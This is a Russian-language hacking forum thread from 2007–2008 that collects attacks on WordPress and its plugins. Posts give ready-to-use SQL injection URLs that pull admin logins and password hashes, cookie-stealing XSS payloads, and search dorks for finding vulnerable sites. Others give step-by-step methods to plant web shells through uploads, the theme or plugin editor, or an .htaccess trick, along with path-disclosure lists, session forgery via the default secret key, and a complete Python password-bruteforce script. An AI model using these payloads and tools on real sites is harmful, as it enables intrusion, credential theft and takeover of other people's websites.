[ Обзор уязвимостей WordPress ]

Discussion in 'Веб-уязвимости' started by ettee, 5 Oct 2007.

  1. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    WordPress Download Counter SQL-INJ:

    DownloadCounter.php
    PHP:
    /*
    Plugin Name: Download Counter Modded Rus
    Plugin URI: http://www.cybercore.ru/
    Description: Подсчитывает количество скачек файла. Автоматически генерит ссылку и код для использования на сайте. Локализованная и улучшеная версия. Оригинальная версия плагина доступна <a href="http://n0id.hexium.net/plugins">Download Counter</a>, автор Vanguard
    Author: Tapac
    Version: 1.5.rus
    Author URI: http://www.cybercore.ru
    */ 
    Bug Code: (download.php)
    PHP:
    if(isset($_GET['id'])){
        
    $query=mysql_query("SELECT * FROM $downloadCounter_table WHERE id = '".addslashes($_GET[id])."'");

        if (
    mysql_num_rows($query)) {
            
    $row=mysql_fetch_array($query);
            
    mysql_query("UPDATE $downloadCounter_table SET downloads = downloads + 1 WHERE id = '".addslashes($_GET[id])."'");
        }
    }elseif (
    $_GET['name']){
        
    $query=mysql_query("SELECT * FROM $downloadCounter_table WHERE label = '".$_GET['name']."'");
        if (
    mysql_num_rows($query)) {
            
    $row=mysql_fetch_array($query);
            
    mysql_query("UPDATE $downloadCounter_table SET downloads = downloads + 1 WHERE id = '".$row['id']."'");
        }
    }
    (c) .Slip
     

    Attached Files:

    2 people like this.
  2. iddqd

    iddqd Banned

    Joined:
    19 Dec 2007
    Messages:
    637
    Likes Received:
    519
    Reputations:
    19
    WordPress Multiple Cross-Site Scripting Vulnerabilities

    XSS

    Vulnerable: 2.3.2

    PoC:
    Code:
    http://site.wordpress.com/wp-admin/users.php?update=invite&inviteemail=[XSS C0d3]
    
    http://site.wordpress.com/wp-admin/invites.php?result=sent&to=%22%3E%
    3Cscript%3Ealert (document.cookie);%3C/script%3E
    
     
  3. Nek1t

    Nek1t Elder - Старейшина

    Joined:
    7 Mar 2008
    Messages:
    181
    Likes Received:
    16
    Reputations:
    1
    Раскрытие пути (работает <=2.3.3)
    Code:
    http://site.com/path_to_wp/wp-content/plugins/hello.php
    Обычно этот файл никто не удаляет. Ну и получаем:
    Code:
    Fatal error: Call to undefined function: wptexturize() in /home/ks011/www/wp-content/plugins/hello.php on line 44
     
    1 person likes this.
  4. Elekt

    Elekt Banned

    Joined:
    5 Dec 2005
    Messages:
    944
    Likes Received:
    427
    Reputations:
    508
    Статья по обходу капчи в вордпрессе через xmlrpc и pingback

    _http://seorepa.com/show.php?id=991
     
  5. Roba

    Roba Banned

    Joined:
    24 Oct 2007
    Messages:
    237
    Likes Received:
    299
    Reputations:
    165
    Заливка шелла (если вам повезло и вы админ)
    тестировалось на версии 2.3.3

    Все очень просто ..
    идем в панель администратора, Write => Write Post или Write Page => и делаем upload вашего шелла
    и вот он
    Code:
    /wp-content/uploads/[Год]/[месяц]/shell.php 
    пример:
    Code:
    http://localhost/wordpress/wp-content/uploads/2008/03/x.php
    з.ы.
    Просмотрел всю тему, про заливку ничего не было сказано.

    ZAMUT(с)
     
    3 people like this.
  6. Muhacir

    Muhacir Elder - Старейшина

    Joined:
    5 Oct 2006
    Messages:
    91
    Likes Received:
    51
    Reputations:
    -2
    Как залить шелл?
    1. идем в Внешний вид -> Редактор тем ->
    2. с права файлы типа css и так далее. кликаем любой php файл. сохранил шелл
    3. там линк типа http://site.com/wp-admin/theme-editor.php?file=wp-content/themes/wedding/functions.php&theme=Wedding
    4. и наш шелл на http://site.com/wp-content/themes/wedding/functions.php
     
    2 people like this.
  7. ibuzar

    ibuzar Member

    Joined:
    31 Jan 2008
    Messages:
    28
    Likes Received:
    6
    Reputations:
    0
    Дело в том, что далеко не везде файлы можно изменять. Если в админке в нижнем правом углу появилась кнопка "Update File", то файл изменить можно, если нет, то присутствует фраза, говорящая о невозможности изменения файлов
     
    2 people like this.
  8. Solide Snake

    Solide Snake Banned

    Joined:
    28 Apr 2007
    Messages:
    382
    Likes Received:
    820
    Reputations:
    69
    Wordpress Plugin Download (dl_id) SQL Injection Vulnerability

    Wordpress Plugin Download file Remote SQL Injection Vulnerability

    Code:
    [B]Example:[/B]
    http://localhost/[path]/[path]/[path]/wp-download.php?dl_id=[SQL]
    [B]SQL:[/B]
    null/**/union/**/all/**/select/**/concat(user_login,0x3a,user_pass)/**/from/**/wp_users/*
    Для поиска:

    Code:
    inurl:"wp-download.php?dl_id="
    (c)
     
    3 people like this.
  9. Grema

    Grema Elder - Старейшина

    Joined:
    29 Nov 2005
    Messages:
    109
    Likes Received:
    16
    Reputations:
    -4
    у меня было что не один php файл не редактировался. повезло что .htaccess открыт для редактирования был. прописал туда AddType application/x-httpd-php .jpg вроде так. и потом в создании нового топика есть заливка картинки, залил шелл и радовался жизни.
     
    1 person likes this.
  10. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Начинаю мучить WordPress 2.5

    Раскрытие пути:

    Code:
    /wp-admin/import/blogger.php
    /wp-admin/import/blogware.php
    /wp-admin/import/btt.php
    /wp-admin/import/dotclear.php
    /wp-admin/import/greymatter.php
    /wp-admin/import/jkw.php
    /wp-admin/import/livejournal.php
    /wp-admin/import/mt.php
    /wp-admin/import/rss.php
    /wp-admin/import/stp.php
    /wp-admin/import/textpattern.php
    /wp-admin/import/utw.php
    /wp-admin/import/wordpress.php
    /wp-admin/import/wp-cat2tag.php
    /wp-admin/includes/admin.php
    /wp-admin/includes/class-ftp-pure.php
    /wp-admin/includes/class-ftp-sockets.php
    /wp-admin/includes/comment.php
    /wp-admin/includes/file.php
    /wp-admin/includes/media.php
    /wp-admin/includes/misc.php
    /wp-admin/includes/schema.php
    /wp-admin/includes/update.php
    /wp-admin/includes/upgrade.php
    /wp-admin/includes/widgets.php
    /wp-admin/admin-footer.php
    /wp-admin/admin-functions.php
    /wp-admin/edit-category-form.php
    /wp-admin/edit-form-advanced.php
    /wp-admin/edit-form-comment.php
    /wp-admin/edit-form.php
    /wp-admin/edit-link-category-form.php
    /wp-admin/edit-link-form.php
    /wp-admin/edit-page-form.php
    /wp-admin/edit-tag-form.php
    /wp-admin/menu-header.php
    /wp-admin/menu.php
    /wp-admin/options-head.php
    /wp-admin/upgrade-functions.php
    /wp-content/plugins/akismet/akismet.php
    /wp-content/plugins/wp-admin-fluency/wp-admin-fluency.php
    /wp-content/plugins/hello.php
    /wp-content/plugins/rus-to-lat.php
    /wp-content/plugins/russian-date.php
    /wp-content/themes/classic/comments-popup.php
    /wp-content/themes/classic/comments.php
    /wp-content/themes/classic/footer.php
    /wp-content/themes/classic/header.php
    /wp-content/themes/classic/index.php
    /wp-content/themes/classic/sidebar.php
    /wp-content/themes/default/404.php
    /wp-content/themes/default/archive.php
    /wp-content/themes/default/archives.php
    /wp-content/themes/default/attachment.php
    /wp-content/themes/default/comments-popup.php
    /wp-content/themes/default/footer.php
    /wp-content/themes/default/functions.php
    /wp-content/themes/default/header.php
    /wp-content/themes/default/image.php
    /wp-content/themes/default/index.php
    /wp-content/themes/default/links.php
    /wp-content/themes/default/page.php
    /wp-content/themes/default/search.php
    /wp-content/themes/default/searchform.php
    /wp-content/themes/default/sidebar.php
    /wp-content/themes/default/single.php
    /wp-includes/js/tinymce/langs/wp-langs.php
    /wp-includes/js/tinymce/plugins/spellchecker/classes/GoogleSpell.php
    /wp-includes/js/tinymce/plugins/spellchecker/classes/PSpell.php
    /wp-includes/js/tinymce/plugins/spellchecker/classes/PSpellShell.php
    /wp-includes/bookmark.php
    /wp-includes/canonical.php
    /wp-includes/default-filters.php
    /wp-includes/feed-atom-comments.php
    /wp-includes/feed-atom.php
    /wp-includes/feed-rdf.php
    /wp-includes/feed-rss.php
    /wp-includes/feed-rss2-comments.php
    /wp-includes/feed-rss2.php
    /wp-includes/general-template.php
    /wp-includes/kses.php
    /wp-includes/media.php
    /wp-includes/registration-functions.php
    /wp-includes/rss-functions.php
    /wp-includes/rss.php
    /wp-includes/script-loader.php
    /wp-includes/shortcodes.php
    /wp-includes/template-loader.php
    /wp-includes/update.php
    /wp-includes/vars.php
    /wp-includes/widgets.php
    /wp-settings.php
     
    #50 Qwazar, 10 Apr 2008
    Last edited: 12 Apr 2008
    7 people like this.
  11. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Нашёл SQL-injection и пассивную XSS в модуле Wordpress Automatic upgrade (версия, кажется 1.1)

    Для выполнения требуются права администратора. SQL осложняется тем, что уязвимый запрос выглядит так "DESCRIBE table", так-же фильтруются апострофы и кавычки.

    Пример:

    Code:
    <form method="POST" action="http://site/wp-admin/edit.php?page=wordpress-automatic-upgrade%2Fwordpress-automatic-upgrade.php&task=backupdb">
     core_tables: <input type="text" name="core_tables[1]" value="<script>alert(/XSS_AND_SQL1/)</script>"><br/>
     other_tables: <input type="text" name="other_tables[1]" value="<script>alert(/XSS_AND_SQL2/)</script>"><br/>
     <input type="submit">
    </form>
    
    З.Ы.
    В уязвимый скрипт передаются массивы core_tables и other_tables, соответственно XSS и SQL вызовется для каждого элемента массива.

    З.Ы.
    Иногда не отображается XSS и ошибка (видимо зависит от настроек), но в любом случае работает, по крайней мере, как Blind SQL Injection.
     
    #51 Qwazar, 11 Apr 2008
    Last edited: 11 Apr 2008
    1 person likes this.
  12. Elekt

    Elekt Banned

    Joined:
    5 Dec 2005
    Messages:
    944
    Likes Received:
    427
    Reputations:
    508
    Wordpress 2.5 - Salt Cracking Vulnerability


    WORDPRESS 2.5 - SALT CRACKING VULNERABILITY
    http://packetstormsecurity.org/0804-exploits/wp-saltcrack.txt

    Описание уязвимости от Гемоглабина: _http://forum.antichat.ru/thread72534.html

    ==============================

    Коротко по сути: если админ оставил пустым или дефолтным('put your unique phrase here') поле SECRET_KEY в конфигурационном файле, то становится возможным сгенерировать валидную админскую сессию.

    Но для этого необходимо подобрать брутом значение соли(либо вытащить его непосредственно из бд черех SQL-inj).
    Перебор всех возможных вариантов (62 символа, длина строки - 7мь символов) на одном ПС займет 113 дней по расчетам автора.
    Прилагается специальный консольный брутер под никсы.

    ==============================

    Важное дополнение

    Дело в том что если вы имеете доступ к БД блога например через SQL-inj и SECRET_KEY пуст (или дефолтен) , то нам не требуется расшифровка паролей!
    Достаточно получить значение wp_options.option_name = 'secret', а также взять любой Логин админа - и можно сгенерировать валидную админскую сессию.

    пхп скрипт генерирующий куку прилагается

     

    Attached Files:

    #52 Elekt, 16 Apr 2008
    Last edited: 13 Jun 2008
  13. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Не уязвимость, но по теме ничего не нашёл. В общем, опеределение версии движка:

    Заходим на http://site/wp-login.php, смотрим в исходник странички, видим там:

    Code:
    <link rel='stylesheet' href='http://site/wp-admin/wp-admin.css?version=2.5' type='text/css' />
    После ?version=.. - версия движка.

    З.Ы.
    Наверняка есть и нормальные методы, просто нашёл навскидку.
     
    #53 Qwazar, 16 Apr 2008
    Last edited: 18 Apr 2008
    1 person likes this.
  14. ~!DoK_tOR!~

    ~!DoK_tOR!~ Banned

    Joined:
    10 Nov 2006
    Messages:
    673
    Likes Received:
    357
    Reputations:
    44
    Wordpress Plugin Spreadsheet <= 0.6 SQL Injection Vulnerability

    SQL-Injection

    Code:
    http://site.com/wp-content/plugins/wpSS/ss_load.php?ss_id=1+and+(1=0)+union+select+1,concat(user_login,0x3a,user_pass,0x3a,user_email),3,4+from+wp_users--&display=plain
    Dork:

    inurl:/wp-content/plugins/wpSS/

    Author : 1ten0.0net1 :)
     
    2 people like this.
  15. gibson

    gibson Elder - Старейшина

    Joined:
    24 Feb 2006
    Messages:
    391
    Likes Received:
    247
    Reputations:
    88
    Сброс пароля через phpmyadmin

    только для версии <=2.3.x
    Если вы случайно забыли пароль от админки), то можно сменить его через phpmyadmin. Подробнее.
    http://cubegames.net/blog/2008/04/26/reset-wp-password-via-phpmyadmin/

    запрос
    Этот метод может быть полезен если не сработало сбрасывание пасс на мыло.

    http://trac.wordpress.org/ticket/6842

    идет обрезание ключа почтавиками в частности gmail

    версия 2.5.1 последняя на сегодняшний день.
     
    #55 gibson, 27 Apr 2008
    Last edited by a moderator: 1 May 2008
  16. Elekt

    Elekt Banned

    Joined:
    5 Dec 2005
    Messages:
    944
    Likes Received:
    427
    Reputations:
    508
    Wordpress Version

    Универсальный способ в 2.x версиях
    http://localhost/wordpress/?feed=rss2&p=0

    иногда надо поиграться с p= для выдачи.
     
  17. exclus!ve

    exclus!ve Member

    Joined:
    3 May 2008
    Messages:
    0
    Likes Received:
    7
    Reputations:
    0
    Активная XSS в Blix Theme, которую сейчас часто ставят на WP.
    Code:
    http://site/index.php/%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
    еще одна - Abuse of Functionality, действует как на старых версиях, так и на новой 2.5 - суть в том, что при вводе верного и неверного логина(при неверном пароле) движок выводит разное уведомление об ошибке, т.е. методом перебора возможно получить логины пользователей, которые потом использовать при брутфорсе.
     
    #57 exclus!ve, 4 May 2008
    Last edited: 4 May 2008
  18. OptimaPrime

    OptimaPrime Banned

    Joined:
    30 Mar 2007
    Messages:
    307
    Likes Received:
    588
    Reputations:
    -61
    Раскрытие данных в WordPress 2.0.3

    Сообщение об ошибку sql возвращает поситетяля назад,если указать неккоректное значение парметра paged можно получить данные о префиксе таблиц
    Например:
    Code:
    http:// [host]/index.php?paged=-12
    ^^
     
  19. Fugitif

    Fugitif Elder - Старейшина

    Joined:
    23 Sep 2007
    Messages:
    407
    Likes Received:
    227
    Reputations:
    42
    Wordpress <= 2.5.1 Malicious File Execution Vulnerability

    Wordpress <= 2.5.1 Malicious File Execution Vulnerability

    Ну вобщем, вы можете загрузить вебшелл через аплоад, либо через редактор плагинов.
    Вобщем-то об этом все и так знали =)


    Code:
    ==========================================================
        
         Wordpress Malicious File Execution Vulnerability            
               
    ==========================================================
    
    AUTHOR : CWH Underground
    DATE   : 18 May 2008
    SITE   : www.citecclub.org
    
    
    #####################################################
     APPLICATION : Wordpress Blog  
     VERSION     : <= 2.5.1   
     VENDOR      : http://wordpress.org/   
     DOWNLOAD    : http://wordpress.org/download
    #####################################################
    
    
    DORK: N/A
    
    ---DESCRIPTION---
    	You must login into wordpress with Administrator Roles
    	
    	1. Write Tabs - You can post title, contents and upload files. In Upload section, You can upload php script such as r57,c99,etc. into systems
    and upload's file will appear in http://[target]/wp-content/uploads/[year]/[month]/file.php
    	
    	2. If you can't upload your php script: Found message "File type does not meet security guidelines. Try another" 
    Dont Worry,  Move to "plugins" Tabs and choose some plugins (Akismet, Hello Dolly) to EDIT it. Now you can add php script (r57/c99) into plugins edit section.
    Finished it and Back to Plugins Tabs -> Click Active plugins then Get your SHELL....
    
    Let's Fun...
    
    
    ---NOTE/TIP---
    
            In Plugins Edit section, Use comment /* ...  */ to keep plugins code before add shells.
    
    ##################################################################
     Greetz: ZeQ3uL,BAD $ectors, Snapter, Conan, Win7dos, JabAv0C   
    ##################################################################
     
    #59 Fugitif, 20 May 2008
    Last edited by a moderator: 20 May 2008
    1 person likes this.
  20. OptimaPrime

    OptimaPrime Banned

    Joined:
    30 Mar 2007
    Messages:
    307
    Likes Received:
    588
    Reputations:
    -61
    Wordpress Bruterorce
    Code:
    ############# Source code #####################
    #!usr/bin/python
    # Flaw found on Wordpress
    # that allow Dictionnary & Bruteforce attack
    # Greetz goes to : NeoMorphS, Tiky 
    # Vendor : http://wordpress.org/
    # Found by : Kad ([email protected] / #[email protected])
    import urllib , urllib2, sys, string
    tab = "%s%s%s"%( string.ascii_letters, string.punctuation, string.digits )
    tab = [  i for i in tab ]
    def node( table, parent, size ):
    	if size == 0:
    		pass
    	else:
    		for c in table:
    			string = "%s%s"%( parent, c )
                            data = {'log': sys.argv[2],
                                    'pwd': string}
                            print "[+] Testing : "+string
                            request = urllib2.Request(server, urllib.urlencode(data))
                            f = urllib2.urlopen(request).read()
                            if not "Incorrect password.</div>" in f: print "[!] Password is : "+mot ; break
    			node( table, string, size-1 )
     
    def bruteforce( table, size ):
    	for c in table:
    		node( table, c, size-1 )
    		
    if (len(sys.argv) < 3):
        print "Usage : float.py <server> <user> <choice> <dico-characters>"
        print "\nDefault: User is 'admin'"
        print "Choice : 1} Dictionnary Attack, use dictionnary file"
        print "         2} Bruteforce Attack, use number of character for password"
        
    else:
        server = sys.argv[1]
        if sys.argv[3] == "1":
    	a , b = open(sys.argv[4],'r') , 0
    	for lines in a: b = b + 1
    	a.seek(0)	
    	c = 0
    	while (c < b):
    		mot = a.readline().rstrip()
    		data = {'log': sys.argv[2],
    				'pwd': mot}
    		print "[+] Testing : "+mot
    		request = urllib2.Request(server, urllib.urlencode(data))
    		f = urllib2.urlopen(request).read()
    		if not "Incorrect password.</div>" in f: print "[!] Password is : "+mot ; break
    		else: c = c + 1 ; pass
        if sys.argv[3] == "2":
    	print "[-] Server is : "+server
    	print "[-] User is : "+sys.argv[2]
    	print "[-] Number of characters are : "+sys.argv[4]
            number = int(sys.argv[4])
            bruteforce( tab, number )
    ############## Source code #####################
    
    The problem is : many time, the default user who is created is : admin, then you can try to crack the password, to stop that, you can use image confirmation or a limit for the connection (for example, only 5 tests). 
    
    To know if "admin" is the default user, you can try to go to the login page : http://site.com/wp-login.php and you try ; login : admin, pass : test (or anything else). 
    
    if "Wrong password" is printed on the page, the default user is admin, but if there is : "Wrong Username" then it's not the default password ;) 
    
    Kad'
     
    5 people like this.